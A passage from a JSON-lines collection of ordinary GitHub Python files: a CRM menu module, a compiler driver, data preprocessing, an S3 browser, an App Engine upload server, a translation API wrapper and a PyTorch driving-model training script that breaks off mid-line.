+{"seq_id":"17144863686","text":"import os\nimport ui\nimport data_manager\nimport common\n\n\ndef start_module():\n    while True:\n        datas = data_manager.get_table_from_file(\"crm/customers.csv\")\n        options = [\n            \"Display table\",\n            \"Add\",\n            \"Remove\",\n            \"Update\",\n            \"Longest name's ID\",\n            \"List of subscribed customers\",\n            \"Get customer name by given ID\",\n            \"Get customer name by given ID from table\"]\n        ui.print_menu(\"\\nCRM Menu\", options, \"Main menu\")\n        inputs = ui.get_inputs([\"Please, choose an option: \"], \"\")\n        option = inputs[0]\n        if option == \"1\":\n            os.system(\"clear\")\n            show_table(datas)\n        elif option == \"2\":\n            os.system(\"clear\")\n            add(datas)\n            write_to_file(datas)\n        elif option == \"3\":\n            os.system(\"clear\")\n            given_id = ui.get_inputs([\"Please, enter an ID to remove the line: \"], \"\")\n            remove(datas, given_id)\n            write_to_file(datas)\n        elif option == \"4\":\n            os.system(\"clear\")\n            update_id = ui.get_inputs([\"Please, enter an ID to update the line: \"], \"\")\n            update(datas, update_id)\n            write_to_file(datas)\n        elif option == \"5\":\n            os.system(\"clear\")\n            ui.print_result(get_longest_name_id(datas), \"The ID of the longest name:\")\n        elif option == \"6\":\n            os.system(\"clear\")\n            ui.print_result(get_subscribed_emails(datas), \"The subscribed customers:\\n\")\n        elif option == \"7\":\n            os.system(\"clear\")\n            given_id = ui.get_inputs([\"Please, enter an ID to get the name: \"], \"\")\n            ui.print_result(get_name_by_id(given_id[0]), \"Customer name by ID:\")\n        elif option == \"8\":\n            os.system(\"clear\")\n            given_id = ui.get_inputs([\"Please, enter an ID to get the name: \"], \"\")\n            ui.print_result(get_name_by_id_from_table(datas, given_id[0]), \"Customer name by ID:\")\n        elif option == \"0\":\n            os.system(\"clear\")\n            break\n        else:\n            ui.print_error_message(\"There is no such option.\")\n\n\ndef show_table(table):\n    module_headers = [\"ID\", \"Name\", \"E-mail\", \"Subscribed\"]\n    return common.common_show_table(table, module_headers)\n\n\ndef add(table):\n    module_headers = [\"Name: \", \"E-mail: \", \"Subscribed: \"]\n    return common.common_add(table, module_headers)\n\n\ndef remove(table, id_):\n    return common.common_remove(table, id_, \"crm/customers.csv\")\n\n\ndef update(table, id_):\n    module_headers = [\"Name: \", \"E-mail: \", \"Subscribed: \"]\n    return common.common_update(table, id_, \"crm/customers.csv\", module_headers)\n\n\ndef write_to_file(table):\n    return common.common_write_to_file(table, \"crm/customers.csv\")\n\n\ndef get_longest_name_id(table):\n    names = []\n    lenght_names = []\n    longest_names = []\n    the_name = \"\"\n    the_id = \"\"\n    for i in range(len(table)):\n        names.append(table[i][1])\n    for name in names:\n        lenght_names.append(len(name))\n    longest_name_length = max(lenght_names)\n    for name in names:\n        if len(name) == longest_name_length:\n            longest_names.append(name)\n\n    common.collect_ids(longest_names)\n    the_name = longest_names[0]\n\n    for line in table:\n        if the_name in line:\n            the_id = line[0]\n    return the_id\n\n\ndef get_subscribed_emails(table):\n    subscribed = 1\n    subscribed_names = []\n    subscribed_emails = []\n    subscribed_customers = []\n\n    for line in table:\n        if int(line[3]) == subscribed:\n            subscribed_names.append(line[1])\n            subscribed_emails.append(line[2])\n    for i in range(len(subscribed_names)):\n        subscribed_name = subscribed_names[i]\n        subscribed_email = subscribed_emails[i]\n        subscribed_customers.append(subscribed_email + \";\" + subscribed_name)\n    return subscribed_customers\n\n\ndef get_name_by_id(id):\n    datas = data_manager.get_table_from_file(\"crm/customers.csv\")\n    return get_name_by_id_from_table(datas, id)\n\n\ndef get_name_by_id_from_table(table, id):\n    for i in range(len(table)):\n        if id == table[i][0]:\n            return table[i][1]\n","repo_name":"AlexaPekar/codecool-pbwp-3rd-tw-lightweight-erp","sub_path":"crm/crm.py","file_name":"crm.py","file_ext":"py","file_size_in_byte":4173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74258253842","text":"import argparse\n\nimport parse\n\nimport language\n\nimport trivial_optimizer\n\nimport optimizer\n\nimport better_compiler as compiler_mod\n\nimport best_compiler\n\n\nclass CompilationManager:\n    def __init__(self, compiler, trivial_optimizer=False, optimizer=False):\n        self.compiler = compiler\n        self.trivial_optimizer = trivial_optimizer\n        self.optimizer = optimizer\n\n    def compile(self, program: language.Program, identifiers):\n        if self.trivial_optimizer:\n            program.block = self.trivial_optimizer(program.block)\n        if self.optimizer:\n            program.block = self.optimizer(program.block)\n\n        compiler = self.compiler(program, identifiers)\n        return compiler.compile()\n\n\ndef main():\n    parser = argparse.ArgumentParser(\"Let's compile some code!\")\n\n    parser.add_argument(\"input_file\", help=\"Input file name (source code).\")\n    parser.add_argument(\"output_file\", help=\"Output file name (machine code).\")\n    parser.add_argument(\"--debug\", \"-d\", help=\"Turn on debugging comments in\\\n                        output code.\", action=\"store_true\")\n    parser.add_argument(\"--no-optimalization\", help=\"Disable additional\\\n                        optimalisations.\",\n                        action=\"store_false\")\n    parser.add_argument(\"-O3\", help=\"Just try it baby!\", action=\"store_true\")\n\n    args = parser.parse_args()\n\n    compiler = compiler_mod.Compiler\n    trivial_optimizer_obj = False\n    optimizer_obj = False\n\n    if args.debug:\n        compiler_mod.DEBUG = True\n        best_compiler.DEBUG = True\n        optimizer.DEBUG = True\n\n    code = parse.get_code(args.input_file)\n\n    if args.no_optimalization:\n        trivial_optimizer_obj = trivial_optimizer.optimize\n\n    if args.O3:\n        optimizer_obj = optimizer.optimize\n        compiler = best_compiler.Compiler\n\n    manager = CompilationManager(compiler, trivial_optimizer_obj,\n                                 optimizer_obj)\n\n    result = manager.compile(code, parse.IDENTIFIERS_MANAGER)\n\n    with open(args.output_file, \"w\") as output:\n        output.write(result)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"dezeroku/compiler","sub_path":"compilator.py","file_name":"compilator.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"31176169829","text":"import numpy as np\nimport pandas as pd\nimport argparse\n\ndef make_csv(filename, csvfile):\n\n\tlines = list()\n\ttimes = list()\n\tf1 = list()\n\tf2 = list()\n\tfreq = list()\n\n\twith open(filename, 'r') as infile:\n\t\tlines = infile.readlines()\n\t\n\tfor line in lines:\n\t\tsplit_line = line.rstrip().split()\n\t\ttimes.append(int(split_line[1]))\n\t\tf1.append(int(split_line[0]))\n\t\tf2.append(float(split_line[2]))\n\n\ttimes = np.array(times)\n\tf1 = np.array(f1)\n\tf2 = np.array(f2)\n\tindices = np.argsort(times)\n\ttimes = times[indices]\n\tf1 = f1[indices]\n\tf2 = f2[indices]\n\n\t#Scale \n\tf1 = (f1-f1.mean())/f1.std()\n\tf2 = (f2-f2.mean())/f2.std()\n\ttimes  = times - times[0]\n\tprint(np.min(times))\n\tprint(np.max(times))\n\tprint(times[0], times[-1])\n\tprint(times.shape[0])\n\tprint(f1.shape[0])\n\tF = list()\n\tY = list()\n\tfor i in range(times.shape[0]-5):\n\n\t\tF.append(np.hstack([f1[i:i+5], f2[i:i+5], times[i:i+5]]))\n\t\tY.append(times[i+5])\n\n\tF = np.vstack(F)\n\tY = np.hstack(Y)\n\n\tprint(F.shape)\n\tprint(Y.shape)\n\n\tprint(F[0], Y[0])\n\tprint(F[1], Y[1])\n\tprint(F[2], Y[2])\n\tcols = ['f11', 'f12','f13', 'f14', 'f15', 'f21', 'f22', 'f23', 'f24', 'f25', 't1' ,'t2', 't3' ,'t4' ,'t5', 'next']\n\tdf = pd.DataFrame(data=np.hstack([F, Y.reshape(-1,1)]), columns=cols)\n\tprint(df)\n\tdf.to_csv(csvfile, index=False)\n\ndef main():\n\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-f', required=True, metavar='text_file', help='Input text file name')\n\tparser.add_argument('-o', metavar='csv_file', help='Outfile csv file name')\n\targs = parser.parse_args()\n\tmake_csv(args.f, args.o)\n\nif __name__==\"__main__\":\n\tmain()\n\n","repo_name":"SoumyadeepThakur/Domain-Adaptation","sub_path":"regression/twitter_datasets/preprocess_2.py","file_name":"preprocess_2.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32269821771","text":"import pandas as pd\n\nfrom pivot import Connector, AGGREGATION_FIELD\nfrom pivot.authentication import basic_auth\n\nACTIVEPIVOT_ENDPOINT = \"http://localhost:9090/\"\n\nconnector = Connector(ACTIVEPIVOT_ENDPOINT, basic_auth(\"admin\", \"admin\"))\n\nmdx = \"\"\"\nWITH\n Member [Measures].[[Scores]].[Team1Score]].[Team1Score]]_for_order] AS [Scores].[Team1Score].CurrentMember.MEMBER_CAPTION \nSELECT\n  NON EMPTY Crossjoin(\n    Hierarchize(\n      DrilldownLevel(\n        [Scores].[Team1Score].[ALL].[AllMember]\n      )\n    ),\n    Hierarchize(\n      DrilldownLevel(\n        [Scores].[Team2Score].[ALL].[AllMember]\n      )\n    ),\n    [Measures].[Total scores]\n  ) ON COLUMNS,\n  NON EMPTY [Games].[Games].[Team2Name].Members ON ROWS\n  FROM [NanoPivotCube]\n\"\"\"\n\nquery_1 = connector.mdx_query(mdx)\nquery_2 = connector.store_query(\n    \"RussiaWorldCup2018\", fields=[\"Team1Name\", \"Team2Name\", \"Team1Score\", \"Team2Score\"]\n)\n\ndf_1 = query_1.dataframe[[\"Team1Name\", \"Team2Name\", \"Team1Score\", \"Team2Score\"]]\ndf_2 = query_2.dataframe[[\"Team1Name\", \"Team2Name\", \"Team1Score\", \"Team2Score\"]]\n\n\ndef get_df(df, name):\n    df_1 = df.loc[\n        (df[\"Team1Name\"] == name)\n        & (df[\"Team1Score\"] != AGGREGATION_FIELD)\n        & (df[\"Team2Score\"] != AGGREGATION_FIELD)\n    ]\n    df_2 = df.loc[\n        (df[\"Team2Name\"] == name)\n        & (df[\"Team1Score\"] != AGGREGATION_FIELD)\n        & (df[\"Team2Score\"] != AGGREGATION_FIELD)\n    ].rename(\n        columns={\n            \"Team1Score\": \"Team2Score\",\n            \"Team2Score\": \"Team1Score\",\n            \"Team1Name\": \"Team2Name\",\n            \"Team2Name\": \"Team1Name\",\n        }\n    )\n    return pd.concat([df_1, df_2], sort=False).sort_values(by=[\"Team1Name\", \"Team2Name\"])\n\n\ndef get_df_2(df, name):\n    df_1 = df.loc[(df[\"Team1Name\"] == name)]\n    df_2 = df.loc[(df[\"Team2Name\"] == name)].rename(\n        columns={\n            \"Team1Score\": \"Team2Score\",\n            \"Team2Score\": \"Team1Score\",\n            \"Team1Name\": \"Team2Name\",\n            \"Team2Name\": \"Team1Name\",\n        }\n    )\n    return pd.concat([df_1, df_2], sort=False).sort_values(by=[\"Team1Name\", \"Team2Name\"])\n\n\ndf_france = get_df(df_1, \"France\")\ndf_france_2 = get_df_2(df_2, \"France\")\n\nprint(df_france.values == df_france_2.values)\n\ndf_peru = get_df(df_1, \"Peru\")\ndf_peru_2 = get_df_2(df_2, \"Peru\")\n\nprint(df_peru.values == df_peru_2.values)\n\n","repo_name":"anupsingh/paris-internship-python-connector","sub_path":"python/example_fr_pe.py","file_name":"example_fr_pe.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19421593600","text":"#This is my code for Q1. It randomly shuffles an array of integers\r\n\r\nfrom random import *               \r\narray=[5,3,8,6,1,9,2,7]\r\nprint (array)\r\n\r\n\r\nfor x in range(0, len(array), 1):        \r\n   randa= randint(0, len(array)-1)      #rand int returns a random integer in the list\r\n   remove= array.pop(randa)             #removes the integer that has just been generated\r\n   array.append(remove)                 #This adds the integer back into the array \r\nprint(array)\r\n\r\n\r\n#rational behind my implementaion- My code works by removing an integer and adding it back to the array one at a time.\r\n#my function does this the number of times(the size of the array) e.g if the array is 6 integers long my for loop\r\n#will run 6 times which ensures any sized array is shuffled adequately.\r\n\r\n\r\n","repo_name":"ChinkwendeP/210CTCoursework","sub_path":"q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36443012449","text":"#BACHCHAO SERVER (Proof of Concept)\n#The server program expects a GET request to'/pseudoupload' from the client. The client then receives an url as the response. The client can post multipart/form-data\n#to the server with the filename contained within the attribute 'file', the results of the upload will be visible at the mainpage(http://bachchao.appspot.com)\nimport os\nimport urllib\n\nfrom google.appengine.ext import blobstore\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp import blobstore_handlers\nfrom google.appengine.ext.webapp import template\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom django.utils import simplejson\n    \n#the handler to the default url http://bachchao.appspot.com    \nclass MainHandler(webapp.RequestHandler):\n    def get(self):\n        upload_url = blobstore.create_upload_url('/upload')\n        self.response.out.write('<html><body>')\n        self.response.out.write('<form action=\"%s\" method=\"POST\" enctype=\"multipart/form-data\">' % upload_url)\n        self.response.out.write(\"\"\"Upload File: <input type=\"file\" name=\"file\"><br> <input type=\"submit\" name=\"submit\" value=\"Submit\"> </form></body></html>\"\"\")\n        i = 0\n        #iterate through all the blobs(files) in the blobstore(a database of files) and print their names\n        for b in blobstore.BlobInfo.all():\n            self.response.out.write('<li><a href=\"/serve/%s' % str(b.key()) + '\">' + str(b.filename) + '</a>')\n            self.response.out.write('</li>')\n            i = i+1\n        self.response.out.write('<form action =\"/delete\" method = \"POST\"><input type =\"submit\" value=\"delete all\"</form> ')\n\n#a handler which handles uploads using GAE API and puts it into the blobstore(a database of files)\nclass UploadHandler(blobstore_handlers.BlobstoreUploadHandler):\n    def post(self):\n        self.get_uploads('file')\n        self.redirect('/')\n\n#the handler for downloads, this is called when the user clicks on a file listed in the mainpage\nclass ServeHandler(blobstore_handlers.BlobstoreDownloadHandler):\n    def get(self, blob_key):\n        blob_key = str(urllib.unquote(blob_key))\n        if not blobstore.get(blob_key):\n            self.error(404)\n        else:\n            self.send_blob(blobstore.BlobInfo.get(blob_key), save_as=True)\n\n#the handler to return an url to client. The client can upload files to this url, with the name of the file in the attribute file\nclass pseudouploader(webapp.RequestHandler):\n    def get(self):\n        upload_url = blobstore.create_upload_url('/upload')\n        self.response.headers['Content-Type'] = 'text/plain'\n        self.response.out.write(upload_url)\n\n#the handler called when delete button in the mainpage is clicked, it iterates through the list of all blobs in the blobstore(a databasr of files) and delted each one of them\nclass deleter(webapp.RequestHandler):\n    def post(self):\n        for b in blobstore.BlobInfo.all():\n            b.delete()\n        self.redirect('/')\n        \n#handler for '/data, it receives JSON data from a POST call from the client, containing lattitiude, longitude and list of contacts         \nclass DataHandler(webapp.RequestHandler):        \n    def post(self):\n        global database\n        database = []\n        lat = self.request.get('lat')\n        lon = self.request.get('lon')\n        contacts = self.request.get_all('contacts')\n        contacts = JSONtoOBJECT(contacts)\n        self.response.out.write(contacts)\n        database.append([contacts,[lat,lon]])\n\n#converts json objects to native python objects\ndef JSONtoOBJECT(contacts):\n    temp = contacts\n    return contacts\n\n#the main function, the server calls this function upon start of the server\ndef main():\n    application = webapp.WSGIApplication(\n          [('/', MainHandler),\n           ('/pseudoupload',pseudouploader),\n           ('/upload', UploadHandler),\n           ('/serve/([^/]+)?', ServeHandler),\n           ('/delete',deleter),\n           ('/data',DataHandler)\n          ], debug=True)\n    run_wsgi_app(application)\n\nif __name__ == '__main__':\n  main()","repo_name":"chinmayisk/bachchao","sub_path":"server/uploadtest.py","file_name":"uploadtest.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"36512651170","text":"import pygame.font\n\nclass Button1():\n    \"\"\"class of ending button. All rest describes are the same like in\n    button.py file\"\"\"\n\n    def __init__(self, screen, settings, stats):\n        self.screen = screen\n        self.screen_rect = screen.get_rect()\n\n        self.width, self.height = 200, 50\n        self.button_color = (255, 255, 255)\n        self.text_color = (0, 0, 0)\n        self.font = pygame.font.SysFont(None, 48)\n\n        self.rect = pygame.Rect(0, 0, self.width, self.height)\n        self.rect.center = self.screen_rect.center\n\n        if stats.a_hm == 5:\n            msg = \"Player 1 wins\"\n        elif stats.b_hm == 5:\n            msg = \"Player 2 wins\"\n\n        self.prep_msg(msg)\n\n    def prep_msg(self, msg):\n        self.msg_image = self.font.render(msg, True, self.text_color,\n                                          self.button_color)\n        self.msg_image_rect = self.msg_image.get_rect()\n        self.msg_image_rect.center = self.rect.center\n\n    def draw_button(self):\n        self.screen.fill(self.button_color, self.rect)\n        self.screen.blit(self.msg_image, self.msg_image_rect)\n","repo_name":"stanislaw-piechota/pong","sub_path":"button1.py","file_name":"button1.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36403856649","text":"import os\r\nimport dash\r\nfrom dash import dcc, html, Input as DashInput, Output as DashOutput\r\nfrom dash.dependencies import Input, Output, State\r\nimport boto3\r\nfrom botocore.exceptions import NoCredentialsError\r\nimport base64\r\nimport io\r\nfrom dash_bootstrap_components import themes\r\n\r\napp = dash.Dash(__name__, external_stylesheets=[themes.BOOTSTRAP])\r\n\r\ns3 = boto3.client(\r\n    \"s3\",\r\n    endpoint_url=os.environ[\"AWS_S3_ENDPOINT\"],\r\n    region_name=os.environ[\"AWS_REGION_NAME\"],\r\n    aws_access_key_id=os.environ[\"AWS_ACCESS_KEY_ID\"],\r\n    aws_secret_access_key=os.environ[\"AWS_SECRET_ACCESS_KEY\"]\r\n)\r\n\r\napp.layout = html.Div([\r\n    html.H1(\"S3 Browser\"),\r\n    dcc.Dropdown(\r\n        id='bucket-dropdown',\r\n        options=[],\r\n        multi=False,\r\n        value='',\r\n        placeholder='Select a bucket'\r\n    ),\r\n    dcc.Loading(\r\n        id=\"loading\",\r\n        type=\"default\",\r\n        children=[\r\n            html.Div(id='file-list'),\r\n            dcc.Upload(\r\n                id='upload-data',\r\n                children=html.Button('Upload File'),\r\n                multiple=False\r\n            ),\r\n        ],\r\n    ),\r\n])\r\n\r\n@app.callback(\r\n    Output('bucket-dropdown', 'options'),\r\n    [Input('bucket-dropdown', 'search_value')],\r\n    prevent_initial_call=True\r\n)\r\ndef update_bucket_options(search_value):\r\n    try:\r\n        buckets = s3.list_buckets()['Buckets']\r\n        options = [{'label': bucket['Name'], 'value': bucket['Name']} for bucket in buckets]\r\n    except NoCredentialsError:\r\n        return []\r\n\r\n    return options\r\n\r\n@app.callback(\r\n    Output('file-list', 'children'),\r\n    [Input('bucket-dropdown', 'value'),\r\n     Input('upload-data', 'contents')],\r\n    prevent_initial_call=True\r\n)\r\ndef update_file_list(selected_bucket, contents):\r\n    try:\r\n        if not selected_bucket:\r\n            return []\r\n\r\n        objects = s3.list_objects(Bucket=selected_bucket)['Contents']\r\n        file_info = []\r\n\r\n        for obj in objects:\r\n            if obj['Size'] == 0:\r\n                continue\r\n\r\n            file_path = obj['Key']\r\n            file_size = format_file_size(obj['Size'])\r\n            icon = '📂' if file_path.endswith('/') else '📄'\r\n\r\n            file_info.append(html.Div([\r\n                html.Div(icon, style={'marginRight': '5px', 'display': 'inline-block', 'vertical-align': 'middle'}),\r\n                html.Div(f\"{file_path}, Size: {file_size}\", className='file-box', style={'display': 'inline-block', 'vertical-align': 'middle'}),\r\n                html.A(\"Download\", href=f\"/download/{selected_bucket}/{file_path}\", className=\"download-link\", download=file_path)\r\n            ], className='file-entry'))\r\n\r\n        if contents is not None:\r\n            content_type, content_string = contents.split(',')\r\n            decoded = base64.b64decode(content_string)\r\n            original_filename = dash.callback_context.inputs[1]['filename']\r\n            file_path = original_filename\r\n            s3.upload_fileobj(io.BytesIO(decoded), selected_bucket, file_path)\r\n\r\n    except NoCredentialsError:\r\n        return []\r\n\r\n    return file_info\r\n\r\n@app.server.route(\"/download/<bucket>/<file_path>\")\r\ndef download_file(bucket, file_path):\r\n    try:\r\n        file_content = s3.get_object(Bucket=bucket, Key=file_path)['Body'].read()\r\n        response = dash.send_file({\r\n            'content': file_content,\r\n            'filename': file_path,\r\n            'mimetype': 'application/octet-stream'\r\n        })\r\n\r\n        return response\r\n\r\n    except NoCredentialsError:\r\n        return \"Credentials not available.\"\r\n\r\ndef format_file_size(size):\r\n    for unit in ['B', 'KB', 'MB', 'GB', 'TB']:\r\n        if size < 1024.0:\r\n            break\r\n        size /= 1024.0\r\n    return \"{:.2f} {}\".format(size, unit)\r\n\r\nif __name__ == '__main__':\r\n    app.run_server(host='0.0.0.0', port=8050, debug=True)\r\n","repo_name":"MaximeGuinotSaagie/S3-browser","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70395372563","text":"import requests\nimport json\nimport uvicorn\nfrom config import secret_key, zone\n\nfrom fastapi import FastAPI\napp = FastAPI()\n\nheaders = { \"Content-Type\":\"application/json\",\n                       \"Ocp-Apim-Subscription-Key\":secret_key,\n                       \"Ocp-Apim-Subscription-Region\":zone\n                       \n                   }\n\n@app.get(\"/get_all\")\ndef get_all_languages():\n    print(\"here\")\n    data = requests.get('https://api.cognitive.microsofttranslator.com/languages?api-version=3.0&scope=translation')\n    return data.json()\n\n@app.post(\"/translate_text/\")\ndef translate_text(lang, text):\n    \"\"\"\n    input params type {'text':\"\", \"lang\":\"\"}\n    \"\"\"\n    data =requests.post(\"https://api.cognitive.microsofttranslator.com/translate?\",\n                    json=[{\"Text\":text}],\n                    params={\"api-version\":\"3.0\",\"to\":lang},\n                    headers=headers)\n    return data.json()[0]['translations']\n\n@app.post(\"/detect_language/\")\ndef detect_text(text):\n    \"\"\"\n    input params type {'text':\"\"}\n    \"\"\"\n    data =requests.post(\"https://api.cognitive.microsofttranslator.com/detect?\",\n                    json=[{\"Text\":text}],\n                    params={\"api-version\":\"3.0\"},\n                    headers=headers)\n    return data.json()\n\nif __name__ == '__main__':\n    uvicorn.run(app, port=8080, host='68.183.31.221')","repo_name":"rjain02/final_project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40238667010","text":"import argparse\nimport datetime\nimport random\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.utils as nnutils\nfrom torch.autograd import Variable\nfrom libs.import_utils import *\nfrom nets.z2_color import Z2Color\n\n# Define Arguments and Default Values\nparser = argparse.ArgumentParser(description='PyTorch z2_color Training',formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('--validate', type=str, metavar='PATH',\n                    help='path to model for validation')\n# parser.add_argument('--skipfirstval', type=str, metavar='PATH',\n#                     help='Skip the first validation (if restoring an end of epoch save file)')\nparser.add_argument('--resume', type=str, metavar='PATH',\n                    help='path to model for training resume')\nparser.add_argument('--ignore', default=['reject_run', 'left', 'out1_in2', 'racing', 'Smyth'], type=str, nargs='+',\n                    help='Runs with these labels are ignored')\nparser.add_argument('--require-one', default=[], type=str, nargs='+',\n                    help='Mandatory run labels, runs without these labels will be ignored.')\nparser.add_argument('--cuda-device', default=0, type=int, help='Cuda GPU ID to use for GPU Acceleration.')\nparser.add_argument('--batch-size', default=64, type=int, help='Number of datapoints in a mini-batch for training.')\nparser.add_argument('--saverate', default=700, type=int,\n                    help='Number of batches after which a progress save is done.')\nargs = parser.parse_args()\n\nstart_ctrl_low = 0\nstart_ctrl_high = 0\nif args.resume is not None:\n    save_data = torch.load(args.resume)\n    start_ctrl_low = save_data['low_ctr']\n    start_ctrl_high = save_data['high_ctr']\n\n\ndef load_full_run_data():\n    pb = ProgressBar(1 + len(Segment_Data['run_codes']))\n    ctr = 0\n    for n in Segment_Data['run_codes'].keys():\n        ctr += 1\n        pb.animate(ctr)\n        load_run_data(n)\n    pb.animate(len(Segment_Data['run_codes']))\n\n\ndef load_steer_data():\n    load_steer_data_progress = ProgressBar(2)\n    load_steer_data_progress.animate(0)\n    low_steer = load_obj(join(hdf5_segment_metadata_path, 'low_steer'))\n    load_steer_data_progress.animate(1)\n    high_steer = load_obj(join(hdf5_segment_metadata_path, 'high_steer'))\n    load_steer_data_progress.animate(2)\n    return low_steer, high_steer\n\n\ndef instantiate_net():\n    net = Z2Color().cuda()\n    criterion = nn.MSELoss().cuda()  # define loss function\n    optimizer = torch.optim.Adam(net.parameters())\n    return net, criterion, optimizer\n\n\n@static_vars(ctr_low=-1, ctr_high=-1)\ndef pick_validate_data(low_steer_train, high_steer_train, low_steer_val, high_steer_val):\n    low_bound = len(low_steer_val)\n    high_bound = len(high_steer_val)\n\n    if pick_validate_data.ctr_low == -1 and pick_validate_data.ctr_high == -1:\n        pick_validate_data.ctr_low = 0\n        pick_validate_data.ctr_high = 0\n    if pick_validate_data.ctr_low >= low_bound or pick_validate_data.ctr_high >= high_bound:\n        pick_validate_data.ctr_low = 0\n        pick_validate_data.ctr_high = 0\n        return pick_validate_data.ctr_low + pick_validate_data.ctr_high, 0  # Finished processing data\n\n    if random.random() > 0.5:  # with some probability choose a low_steer element\n        choice = low_steer_val[pick_validate_data.ctr_low]\n        pick_validate_data.ctr_low += 1\n    else:\n        choice = high_steer_val[pick_validate_data.ctr_high]\n        pick_validate_data.ctr_high += 1\n\n    run_code = choice[3]\n    seg_num = choice[0]\n    offset = choice[1]\n\n    return (pick_validate_data.ctr_high + pick_validate_data.ctr_low), get_data(run_code, seg_num, offset, net.N_STEPS,\n                                                                                offset + 0, net.N_FRAMES,\n                                                                                ignore=args.ignore,\n                                                                                require_one=args.require_one)\n\n\n@static_vars(ctr_low=start_ctrl_low, ctr_high=start_ctrl_high)\ndef pick_data(low_steer_train=None, high_steer_train=None, low_steer_val=None, high_steer_val=None):\n    if low_steer_train is None and high_steer_train is None:\n        return pick_data.ctr_low, pick_data.ctr_high\n    low_bound = len(low_steer_train)\n    high_bound = len(high_steer_train)\n\n    if pick_data.ctr_low >= low_bound or pick_data.ctr_high >= high_bound:\n        # Reset counters and say you're done\n        pick_data.ctr_low = 0\n        pick_data.ctr_high = 0\n        return pick_data.ctr_low + pick_data.ctr_high, 0  # Finished processing data\n\n    if random.random() > 0.5:  # with some probability choose a low_steer element\n        choice = low_steer_train[pick_data.ctr_low]\n        pick_data.ctr_low += 1\n    else:\n        choice = high_steer_train[pick_data.ctr_high]\n        pick_data.ctr_high += 1\n\n    run_code = choice[3]\n    seg_num = choice[0]\n    offset = choice[1]\n\n    return (pick_data.ctr_high + pick_data.ctr_low), get_data(run_code, seg_num, offset, net.N_STEPS, offset + 0,\n                                                              net.N_FRAMES, ignore=args.ignore,\n                                                              require_one=args.require_one)\n\n\ndef get_camera_data(data):\n    listoftensors = []\n    for t in range(net.N_FRAMES):\n        for camera in ('left', 'right'):\n            listoftensors.append(torch.from_numpy(data[camera][t]))\n\n    camera_data = torch.cat(listoftensors, 2)\n    camera_data = camera_data.cuda().float()/255. - 0.5\n    # Switch dimensions to match neural net\n    camera_data = torch.transpose(camera_data, 0, 2)\n    camera_data = torch.transpose(camera_data, 1, 2)\n\n    return camera_data\n\n\ndef get_metadata(data):\n    metadata = torch.FloatTensor().cuda()\n    zero_matrix = torch.FloatTensor(1, 13, 26).zero_().cuda()  # Min value matrix\n    one_matrix = torch.FloatTensor(1, 13, 26).fill_(1).cuda()  # Max value matrix\n\n    for cur_label in ['racing', 'caffe', 'follow', 'direct', 'play', 'furtive']:\n        if cur_label == 'caffe':\n            if data['states'][0]:\n                metadata = torch.cat((one_matrix, metadata), 0)\n            else:\n                metadata = torch.cat((zero_matrix, metadata), 0)\n        else:\n            if data['labels'][cur_label]:\n                metadata = torch.cat((one_matrix, metadata), 0)\n            else:\n                metadata = torch.cat((zero_matrix, metadata), 0)\n\n    return metadata\n\n\ndef get_labels(data):\n    steer = torch.from_numpy(data['steer'][-net.N_STEPS:]).cuda().float() / 99.\n    motor = torch.from_numpy(data['motor'][-net.N_STEPS:]).cuda().float() / 99.\n\n    return torch.cat((steer, motor), 0)\n\n\ndef get_batch_data(batch_size, data_function):\n    batch_metadata = torch.FloatTensor().cuda()\n    batch_input = torch.FloatTensor().cuda()\n    batch_labels = torch.FloatTensor().cuda()\n\n    for batch in range(batch_size):  # Construct batch\n        data = None\n        while 'data' not in locals() or data is None:\n            progress, data = data_function(low_steer_train, high_steer_train, low_steer_val, high_steer_val)\n\n        if data == 0:  # If out of data, return done and skip batch\n            return progress, False, None, None, None\n\n        camera_data = get_camera_data(data)\n        metadata = get_metadata(data)\n        labels = get_labels(data)\n\n        # Creates batch\n        batch_input = torch.cat((torch.unsqueeze(camera_data, 0), batch_input), 0)\n        batch_metadata = torch.cat((torch.unsqueeze(metadata, 0), batch_metadata), 0)\n        batch_labels = torch.cat((torch.unsqueeze(labels, 0), batch_labels), 0)\n\n    # Train and Backpropagate on Batch Data\n    return progress, True, batch_input, batch_metadata, batch_labels\n\n\ntorch.set_default_tensor_type('torch.FloatTensor')  # Default tensor to float for consistency\n\ntorch.cuda.set_device(args.cuda_device)  # Cuda device ID\n\n# Load Data\nprint('Loading run codes')\nload_run_codes()\nprint('Loading run data')\nload_full_run_data()\nprint()\nprint('Loading steer data')\nlow_steer, high_steer = load_steer_data()\nrandom.shuffle(low_steer)\nrandom.shuffle(high_steer)\nlow_steer_train = low_steer[:int(0.9*len(low_steer))]\nhigh_steer_train = high_steer[:int(0.9*len(high_steer))]\nlow_steer_val = low_steer[int(0.9*len(low_steer)):]\nhigh_steer_val = high_steer[int(0.9*len(high_steer)):]\n\nnet, criterion, optimizer = instantiate_net()\n\nlow_steer_train = 